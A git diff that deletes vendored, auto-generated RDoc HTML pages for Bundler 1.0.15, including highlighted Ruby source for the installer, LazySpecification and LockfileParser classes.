-41:         <span class="ruby-identifier">options</span>[<span class="ruby-value str">&quot;local&quot;</span>] <span class="ruby-operator">?</span>
-42:           <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">resolve_with_cache!</span> <span class="ruby-operator">:</span>
-43:           <span class="ruby-ivar">@definition</span>.<span class="ruby-identifier">resolve_remotely!</span>
-44:       <span class="ruby-keyword kw">end</span>
-45: 
-46:       <span class="ruby-comment cmt"># Must install gems in the order that the resolver provides</span>
-47:       <span class="ruby-comment cmt"># as dependencies might actually affect the installation of</span>
-48:       <span class="ruby-comment cmt"># the gem.</span>
-49:       <span class="ruby-identifier">specs</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">spec</span><span class="ruby-operator">|</span>
-50:         <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">fetch</span>(<span class="ruby-identifier">spec</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-value">:fetch</span>)
-51: 
-52:         <span class="ruby-comment cmt"># unless requested_specs.include?(spec)</span>
-53:         <span class="ruby-comment cmt">#   Bundler.ui.debug &quot;  * Not in requested group; skipping.&quot;</span>
-54:         <span class="ruby-comment cmt">#   next</span>
-55:         <span class="ruby-comment cmt"># end</span>
-56: 
-57:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">rubygems</span>.<span class="ruby-identifier">with_build_args</span> [<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-node">&quot;build.#{spec.name}&quot;</span>]] <span class="ruby-keyword kw">do</span>
-58:           <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">install</span>(<span class="ruby-identifier">spec</span>)
-59:           <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">debug</span> <span class="ruby-node">&quot;from #{spec.loaded_from} &quot;</span>
-60:         <span class="ruby-keyword kw">end</span>
-61: 
-62:         <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">ui</span>.<span class="ruby-identifier">info</span> <span class="ruby-value str">&quot;&quot;</span>
-63:         <span class="ruby-identifier">generate_bundler_executable_stubs</span>(<span class="ruby-identifier">spec</span>) <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">settings</span>[<span class="ruby-value">:bin</span>]
-64:         <span class="ruby-constant">FileUtils</span>.<span class="ruby-identifier">rm_rf</span>(<span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">tmp</span>)
-65:       <span class="ruby-keyword kw">end</span>
-66: 
-67:       <span class="ruby-identifier">lock</span>
-68:     <span class="ruby-keyword kw">end</span></pre>
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-	
-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="generate-bundler-executable-stubs-method" class="method-detail ">
-				<a name="method-i-generate_bundler_executable_stubs"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">generate_bundler_executable_stubs</span><span
-						class="method-args">(spec)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="generate-bundler-executable-stubs-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/installer.rb, line 72</span>
-72:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">generate_bundler_executable_stubs</span>(<span class="ruby-identifier">spec</span>)
-73:       <span class="ruby-identifier">bin_path</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">bin_path</span>
-74:       <span class="ruby-identifier">template</span> = <span class="ruby-constant">File</span>.<span class="ruby-identifier">read</span>(<span class="ruby-constant">File</span>.<span class="ruby-identifier">expand_path</span>(<span class="ruby-value str">'../templates/Executable'</span>, <span class="ruby-keyword kw">__FILE__</span>))
-75:       <span class="ruby-identifier">relative_gemfile_path</span> = <span class="ruby-constant">Bundler</span>.<span class="ruby-identifier">default_gemfile</span>.<span class="ruby-identifier">relative_path_from</span>(<span class="ruby-identifier">bin_path</span>)
-76:       <span class="ruby-identifier">ruby_command</span> = <span class="ruby-constant">Thor</span><span class="ruby-operator">::</span><span class="ruby-constant">Util</span>.<span class="ruby-identifier">ruby_command</span>
-77: 
-78:       <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">executables</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">executable</span><span class="ruby-operator">|</span>
-79:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">executable</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;bundle&quot;</span>
-80:         <span class="ruby-constant">File</span>.<span class="ruby-identifier">open</span> <span class="ruby-node">&quot;#{bin_path}/#{executable}&quot;</span>, <span class="ruby-value str">'w'</span>, <span class="ruby-value">0755</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">f</span><span class="ruby-operator">|</span>
-81:           <span class="ruby-identifier">f</span>.<span class="ruby-identifier">puts</span> <span class="ruby-constant">ERB</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">template</span>, <span class="ruby-keyword kw">nil</span>, <span class="ruby-value str">'-'</span>).<span class="ruby-identifier">result</span>(<span class="ruby-identifier">binding</span>)
-82:         <span class="ruby-keyword kw">end</span>
-83:       <span class="ruby-keyword kw">end</span>
-84:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-	</div>
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-	<div id="rdoc-debugging-section-dump" class="debugging-section">
-	
-		<p>Disabled; run with --debug to generate this.</p>
-	
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-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/InvalidOption.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/InvalidOption.html
deleted file mode 100644
index ca5de448..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/InvalidOption.html
+++ /dev/null
@@ -1,330 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/InvalidSpecSet.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/InvalidSpecSet.html
deleted file mode 100644
index 98ee51e4..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/InvalidSpecSet.html
+++ /dev/null
@@ -1,330 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/LazySpecification.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/LazySpecification.html
deleted file mode 100644
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--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/LazySpecification.html
+++ /dev/null
@@ -1,762 +0,0 @@
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-    <span class="ruby-comment cmt"># File lib/bundler/lazy_specification.rb, line 11</span>
-11:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">platform</span>, <span class="ruby-identifier">source</span> = <span class="ruby-keyword kw">nil</span>)
-12:       <span class="ruby-ivar">@name</span>          = <span class="ruby-identifier">name</span>
-13:       <span class="ruby-ivar">@version</span>       = <span class="ruby-identifier">version</span>
-14:       <span class="ruby-ivar">@dependencies</span>  = []
-15:       <span class="ruby-ivar">@platform</span>      = <span class="ruby-identifier">platform</span>
-16:       <span class="ruby-ivar">@source</span>        = <span class="ruby-identifier">source</span>
-17:       <span class="ruby-ivar">@specification</span> = <span class="ruby-keyword kw">nil</span>
-18:     <span class="ruby-keyword kw">end</span></pre>
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-47:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">__materialize__</span>
-48:       <span class="ruby-ivar">@specification</span> = <span class="ruby-identifier">source</span>.<span class="ruby-identifier">specs</span>.<span class="ruby-identifier">search</span>(<span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Dependency</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>)).<span class="ruby-identifier">last</span>
-49:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/lazy_specification.rb, line 20</span>
-20:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">full_name</span>
-21:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">platform</span> <span class="ruby-operator">==</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span><span class="ruby-operator">::</span><span class="ruby-constant">RUBY</span> <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">platform</span>.<span class="ruby-identifier">nil?</span> <span class="ruby-keyword kw">then</span>
-22:         <span class="ruby-node">&quot;#{@name}-#{@version}&quot;</span>
-23:       <span class="ruby-keyword kw">else</span>
-24:         <span class="ruby-node">&quot;#{@name}-#{@version}-#{platform}&quot;</span>
-25:       <span class="ruby-keyword kw">end</span>
-26:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/lazy_specification.rb, line 51</span>
-51:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">respond_to?</span>(*<span class="ruby-identifier">args</span>)
-52:       <span class="ruby-keyword kw">super</span> <span class="ruby-operator">||</span> <span class="ruby-ivar">@specification</span>.<span class="ruby-identifier">respond_to?</span>(*<span class="ruby-identifier">args</span>)
-53:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/lazy_specification.rb, line 28</span>
-28:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">satisfies?</span>(<span class="ruby-identifier">dependency</span>)
-29:       <span class="ruby-ivar">@name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">dependency</span>.<span class="ruby-identifier">requirement</span>.<span class="ruby-identifier">satisfied_by?</span>(<span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Version</span>.<span class="ruby-identifier">new</span>(<span class="ruby-ivar">@version</span>))
-30:     <span class="ruby-keyword kw">end</span></pre>
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-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/lazy_specification.rb, line 32</span>
-32:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_lock</span>
-33:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">platform</span> <span class="ruby-operator">==</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span><span class="ruby-operator">::</span><span class="ruby-constant">RUBY</span> <span class="ruby-keyword kw">or</span> <span class="ruby-identifier">platform</span>.<span class="ruby-identifier">nil?</span>
-34:         <span class="ruby-identifier">out</span> = <span class="ruby-node">&quot;    #{name} (#{version})\n&quot;</span>
-35:       <span class="ruby-keyword kw">else</span>
-36:         <span class="ruby-identifier">out</span> = <span class="ruby-node">&quot;    #{name} (#{version}-#{platform})\n&quot;</span>
-37:       <span class="ruby-keyword kw">end</span>
-38: 
-39:       <span class="ruby-identifier">dependencies</span>.<span class="ruby-identifier">sort_by</span> {<span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">to_s</span> }.<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">dep</span><span class="ruby-operator">|</span>
-40:         <span class="ruby-keyword kw">next</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">type</span> <span class="ruby-operator">==</span> <span class="ruby-value">:development</span>
-41:         <span class="ruby-identifier">out</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-node">&quot;    #{dep.to_lock}\n&quot;</span>
-42:       <span class="ruby-keyword kw">end</span>
-43: 
-44:       <span class="ruby-identifier">out</span>
-45:     <span class="ruby-keyword kw">end</span></pre>
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-    <span class="ruby-comment cmt"># File lib/bundler/lazy_specification.rb, line 55</span>
-55:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">to_s</span>
-56:       <span class="ruby-node">&quot;#{name} (#{version})&quot;</span>
-57:     <span class="ruby-keyword kw">end</span></pre>
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-						class="method-args">(method, *args, &blk)</span>
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-						id="method-missing-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/lazy_specification.rb, line 61</span>
-61:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">method_missing</span>(<span class="ruby-identifier">method</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">blk</span>)
-62:       <span class="ruby-keyword kw">if</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Specification</span>.<span class="ruby-identifier">new</span>.<span class="ruby-identifier">respond_to?</span>(<span class="ruby-identifier">method</span>)
-63:         <span class="ruby-identifier">raise</span> <span class="ruby-node">&quot;LazySpecification has not been materialized yet (calling :#{method} #{args.inspect})&quot;</span> <span class="ruby-keyword kw">unless</span> <span class="ruby-ivar">@specification</span>
-64:         <span class="ruby-ivar">@specification</span>.<span class="ruby-identifier">send</span>(<span class="ruby-identifier">method</span>, *<span class="ruby-identifier">args</span>, &amp;<span class="ruby-identifier">blk</span>)
-65:       <span class="ruby-keyword kw">else</span>
-66:         <span class="ruby-keyword kw">super</span>
-67:       <span class="ruby-keyword kw">end</span>
-68:     <span class="ruby-keyword kw">end</span></pre>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/LockfileParser.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/LockfileParser.html
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-		<h1 class="class">Bundler::LockfileParser</h1>
-
-		<div id="description">
-			
-		</div>
-
-		<!-- Constants -->
-		
-		<div id="constants-list" class="section">
-			<h3 class="section-header">Constants</h3>
-			<dl>
-			
-				<dt><a name="TYPES">TYPES</a></dt>
-				
-				<dd class="description"></dd>
-				
-			
-				<dt><a name="NAME_VERSION">NAME_VERSION</a></dt>
-				
-				<dd class="description"></dd>
-				
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-			</dl>
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-						class="attribute-access-type">[R]</span>
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-		<!-- Methods -->
-		
-		<div id="public-class-method-details" class="method-section section">
-			<h3 class="section-header">Public Class Methods</h3>
-
-		
-			<div id="new-method" class="method-detail ">
-				<a name="method-c-new"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">new</span><span
-						class="method-args">(lockfile)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
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-					<div class="method-source-code"
-						id="new-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/lockfile_parser.rb, line 7</span>
- 7:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">lockfile</span>)
- 8:       <span class="ruby-ivar">@platforms</span>    = []
- 9:       <span class="ruby-ivar">@sources</span>      = []
-10:       <span class="ruby-ivar">@dependencies</span> = []
-11:       <span class="ruby-ivar">@specs</span>        = []
-12:       <span class="ruby-ivar">@state</span>        = <span class="ruby-value">:source</span>
-13: 
-14:       <span class="ruby-identifier">lockfile</span>.<span class="ruby-identifier">split</span>(<span class="ruby-regexp re">/(\r?\n)+/</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword kw">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">line</span><span class="ruby-operator">|</span>
-15:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">line</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;DEPENDENCIES&quot;</span>
-16:           <span class="ruby-ivar">@state</span> = <span class="ruby-value">:dependency</span>
-17:         <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">line</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;PLATFORMS&quot;</span>
-18:           <span class="ruby-ivar">@state</span> = <span class="ruby-value">:platform</span>
-19:         <span class="ruby-keyword kw">else</span>
-20:           <span class="ruby-identifier">send</span>(<span class="ruby-node">&quot;parse_#{@state}&quot;</span>, <span class="ruby-identifier">line</span>)
-21:         <span class="ruby-keyword kw">end</span>
-22:       <span class="ruby-keyword kw">end</span>
-23:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
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-				</div>
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-			</div>
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-		<div id="private-instance-method-details" class="method-section section">
-			<h3 class="section-header">Private Instance Methods</h3>
-
-		
-			<div id="parse-dependency-method" class="method-detail ">
-				<a name="method-i-parse_dependency"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">parse_dependency</span><span
-						class="method-args">(line)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="parse-dependency-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/lockfile_parser.rb, line 61</span>
-61:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">parse_dependency</span>(<span class="ruby-identifier">line</span>)
-62:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">line</span> <span class="ruby-operator">=~</span> <span class="ruby-node">%{^ {2}#{NAME_VERSION}(!)?$}</span>
-63:         <span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">pinned</span> = <span class="ruby-node">$1</span>, <span class="ruby-node">$2</span>, <span class="ruby-node">$4</span>
-64:         <span class="ruby-identifier">version</span> = <span class="ruby-identifier">version</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">&quot;,&quot;</span>).<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">strip</span> } <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">version</span>
-65: 
-66:         <span class="ruby-identifier">dep</span> = <span class="ruby-constant">Bundler</span><span class="ruby-operator">::</span><span class="ruby-constant">Dependency</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>)
-67: 
-68:         <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">pinned</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">!=</span> <span class="ruby-value str">'bundler'</span>
-69:           <span class="ruby-identifier">spec</span> = <span class="ruby-ivar">@specs</span>.<span class="ruby-identifier">find</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">s</span><span class="ruby-operator">|</span> <span class="ruby-identifier">s</span>.<span class="ruby-identifier">name</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">name</span> }
-70:           <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span> = <span class="ruby-identifier">spec</span>.<span class="ruby-identifier">source</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">spec</span>
-71: 
-72:           <span class="ruby-comment cmt"># Path sources need to know what the default name / version</span>
-73:           <span class="ruby-comment cmt"># to use in the case that there are no gemspecs present. A fake</span>
-74:           <span class="ruby-comment cmt"># gemspec is created based on the version set on the dependency</span>
-75:           <span class="ruby-comment cmt"># TODO: Use the version from the spec instead of from the dependency</span>
-76:           <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">version</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">version</span>.<span class="ruby-identifier">size</span> <span class="ruby-operator">==</span> <span class="ruby-value">1</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">version</span>.<span class="ruby-identifier">first</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/^\s*= (.+)\s*$/</span> <span class="ruby-operator">&amp;&amp;</span> <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">is_a?</span>(<span class="ruby-constant">Bundler</span><span class="ruby-operator">::</span><span class="ruby-constant">Source</span><span class="ruby-operator">::</span><span class="ruby-constant">Path</span>)
-77:             <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">name</span>    = <span class="ruby-identifier">name</span>
-78:             <span class="ruby-identifier">dep</span>.<span class="ruby-identifier">source</span>.<span class="ruby-identifier">version</span> = <span class="ruby-node">$1</span>
-79:           <span class="ruby-keyword kw">end</span>
-80:         <span class="ruby-keyword kw">end</span>
-81: 
-82:         <span class="ruby-ivar">@dependencies</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">dep</span>
-83:       <span class="ruby-keyword kw">end</span>
-84:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="parse-platform-method" class="method-detail ">
-				<a name="method-i-parse_platform"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">parse_platform</span><span
-						class="method-args">(line)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
-						id="parse-platform-source">
-<pre>
-     <span class="ruby-comment cmt"># File lib/bundler/lockfile_parser.rb, line 101</span>
-101:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">parse_platform</span>(<span class="ruby-identifier">line</span>)
-102:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">line</span> <span class="ruby-operator">=~</span> <span class="ruby-regexp re">/^  (.*)$/</span>
-103:         <span class="ruby-ivar">@platforms</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>.<span class="ruby-identifier">new</span>(<span class="ruby-node">$1</span>)
-104:       <span class="ruby-keyword kw">end</span>
-105:     <span class="ruby-keyword kw">end</span></pre>
-					</div>
-					
-				</div>
-
-				
-
-				
-			</div>
-
-		
-			<div id="parse-source-method" class="method-detail ">
-				<a name="method-i-parse_source"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">parse_source</span><span
-						class="method-args">(line)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
-				</div>
-
-				<div class="method-description">
-					
-					
-					
-
-					
-					<div class="method-source-code"
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-    <span class="ruby-comment cmt"># File lib/bundler/lockfile_parser.rb, line 33</span>
-33:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">parse_source</span>(<span class="ruby-identifier">line</span>)
-34:       <span class="ruby-keyword kw">case</span> <span class="ruby-identifier">line</span>
-35:       <span class="ruby-keyword kw">when</span> <span class="ruby-value str">&quot;GIT&quot;</span>, <span class="ruby-value str">&quot;GEM&quot;</span>, <span class="ruby-value str">&quot;PATH&quot;</span>
-36:         <span class="ruby-ivar">@current_source</span> = <span class="ruby-keyword kw">nil</span>
-37:         <span class="ruby-ivar">@opts</span>, <span class="ruby-ivar">@type</span> = {}, <span class="ruby-identifier">line</span>
-38:       <span class="ruby-keyword kw">when</span> <span class="ruby-value str">&quot;  specs:&quot;</span>
-39:         <span class="ruby-ivar">@current_source</span> = <span class="ruby-constant">TYPES</span>[<span class="ruby-ivar">@type</span>].<span class="ruby-identifier">from_lock</span>(<span class="ruby-ivar">@opts</span>)
-40:         <span class="ruby-ivar">@sources</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-ivar">@current_source</span>
-41:       <span class="ruby-keyword kw">when</span> <span class="ruby-regexp re">/^  ([a-z]+): (.*)$/</span>
-42:         <span class="ruby-identifier">value</span> = <span class="ruby-node">$2</span>
-43:         <span class="ruby-identifier">value</span> = <span class="ruby-keyword kw">true</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">value</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;true&quot;</span>
-44:         <span class="ruby-identifier">value</span> = <span class="ruby-keyword kw">false</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">value</span> <span class="ruby-operator">==</span> <span class="ruby-value str">&quot;false&quot;</span>
-45: 
-46:         <span class="ruby-identifier">key</span> = <span class="ruby-node">$1</span>
-47: 
-48:         <span class="ruby-keyword kw">if</span> <span class="ruby-ivar">@opts</span>[<span class="ruby-identifier">key</span>]
-49:           <span class="ruby-ivar">@opts</span>[<span class="ruby-identifier">key</span>] = <span class="ruby-constant">Array</span>(<span class="ruby-ivar">@opts</span>[<span class="ruby-identifier">key</span>])
-50:           <span class="ruby-ivar">@opts</span>[<span class="ruby-identifier">key</span>] <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">value</span>
-51:         <span class="ruby-keyword kw">else</span>
-52:           <span class="ruby-ivar">@opts</span>[<span class="ruby-identifier">key</span>] = <span class="ruby-identifier">value</span>
-53:         <span class="ruby-keyword kw">end</span>
-54:       <span class="ruby-keyword kw">else</span>
-55:         <span class="ruby-identifier">parse_spec</span>(<span class="ruby-identifier">line</span>)
-56:       <span class="ruby-keyword kw">end</span>
-57:     <span class="ruby-keyword kw">end</span></pre>
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-				<a name="method-i-parse_spec"></a>
-
-				<div class="method-heading">
-				
-					<span class="method-name">parse_spec</span><span
-						class="method-args">(line)</span>
-					<span class="method-click-advice">click to toggle source</span>
-				
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-						id="parse-spec-source">
-<pre>
-    <span class="ruby-comment cmt"># File lib/bundler/lockfile_parser.rb, line 86</span>
-86:     <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">parse_spec</span>(<span class="ruby-identifier">line</span>)
-87:       <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">line</span> <span class="ruby-operator">=~</span> <span class="ruby-node">%{^ {4}#{NAME_VERSION}$}</span>
-88:         <span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span> = <span class="ruby-node">$1</span>, <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Version</span>.<span class="ruby-identifier">new</span>(<span class="ruby-node">$2</span>)
-89:         <span class="ruby-identifier">platform</span> = <span class="ruby-node">$3</span> <span class="ruby-operator">?</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span>.<span class="ruby-identifier">new</span>(<span class="ruby-node">$3</span>) <span class="ruby-operator">:</span> <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Platform</span><span class="ruby-operator">::</span><span class="ruby-constant">RUBY</span>
-90:         <span class="ruby-ivar">@current_spec</span> = <span class="ruby-constant">LazySpecification</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>, <span class="ruby-identifier">platform</span>)
-91:         <span class="ruby-ivar">@current_spec</span>.<span class="ruby-identifier">source</span> = <span class="ruby-ivar">@current_source</span>
-92:         <span class="ruby-ivar">@specs</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-ivar">@current_spec</span>
-93:       <span class="ruby-keyword kw">elsif</span> <span class="ruby-identifier">line</span> <span class="ruby-operator">=~</span> <span class="ruby-node">%{^ {6}#{NAME_VERSION}$}</span>
-94:         <span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span> = <span class="ruby-node">$1</span>, <span class="ruby-node">$2</span>
-95:         <span class="ruby-identifier">version</span> = <span class="ruby-identifier">version</span>.<span class="ruby-identifier">split</span>(<span class="ruby-value str">','</span>).<span class="ruby-identifier">map</span> { <span class="ruby-operator">|</span><span class="ruby-identifier">d</span><span class="ruby-operator">|</span> <span class="ruby-identifier">d</span>.<span class="ruby-identifier">strip</span> } <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">version</span>
-96:         <span class="ruby-identifier">dep</span> = <span class="ruby-constant">Gem</span><span class="ruby-operator">::</span><span class="ruby-constant">Dependency</span>.<span class="ruby-identifier">new</span>(<span class="ruby-identifier">name</span>, <span class="ruby-identifier">version</span>)
-97:         <span class="ruby-ivar">@current_spec</span>.<span class="ruby-identifier">dependencies</span> <span class="ruby-operator">&lt;&lt;</span> <span class="ruby-identifier">dep</span>
-98:       <span class="ruby-keyword kw">end</span>
-99:     <span class="ruby-keyword kw">end</span></pre>
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-	<div id="validator-badges">
-		<p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
-		<p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
-			Rdoc Generator</a> 1.1.6</small>.</p>
-	</div>
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-</body>
-</html>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/MatchPlatform.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/Bundler/MatchPlatform.html
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>Module: Bundler::MatchPlatform</title>
-
-	<link rel="stylesheet" href="../rdoc.css" type="text/css" media="screen" />
-
-	<script src="../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../js/thickbox-compressed.js" type="text/javascript"
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-	<script src="../js/quicksearch.js" type="text/javascript"
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-	<script src="../js/darkfish.js" type="text/javascript"
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-				<h3 class="section-header">In Files</h3>
-				<div class="section-body">
